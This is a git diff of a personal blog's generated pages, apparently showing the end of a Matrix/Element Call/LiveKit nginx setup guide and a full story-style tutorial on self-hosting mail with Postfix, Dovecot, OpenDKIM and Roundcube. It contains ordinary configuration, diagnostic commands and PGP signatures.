    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/debugging/page/1/index.html b/public-clearnet/tags/debugging/page/1/index.html new file mode 100644 index 0000000..5d9d7d7 --- /dev/null +++ b/public-clearnet/tags/debugging/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/debugging/ + \ No newline at end of file diff --git a/public-clearnet/tags/dkim/index.html b/public-clearnet/tags/dkim/index.html new file mode 100644 index 0000000..3302acf --- /dev/null +++ b/public-clearnet/tags/dkim/index.html @@ -0,0 +1,13 @@ +Dkim | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/dkim/index.xml b/public-clearnet/tags/dkim/index.xml new file mode 100644 index 0000000..55fc9aa --- /dev/null +++ b/public-clearnet/tags/dkim/index.xml @@ -0,0 +1,135 @@ +Dkim on AlipourIm journeyshttps://blog.alipour.eu/tags/dkim/Recent content in Dkim on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/dkim/page/1/index.html b/public-clearnet/tags/dkim/page/1/index.html new file mode 100644 index 0000000..5c9986e --- /dev/null +++ b/public-clearnet/tags/dkim/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/dkim/ + \ No newline at end of file diff --git a/public-clearnet/tags/dmarc/index.html b/public-clearnet/tags/dmarc/index.html new file mode 100644 index 0000000..22cb68d --- /dev/null +++ b/public-clearnet/tags/dmarc/index.html @@ -0,0 +1,13 @@ +Dmarc | AlipourIm journeys +

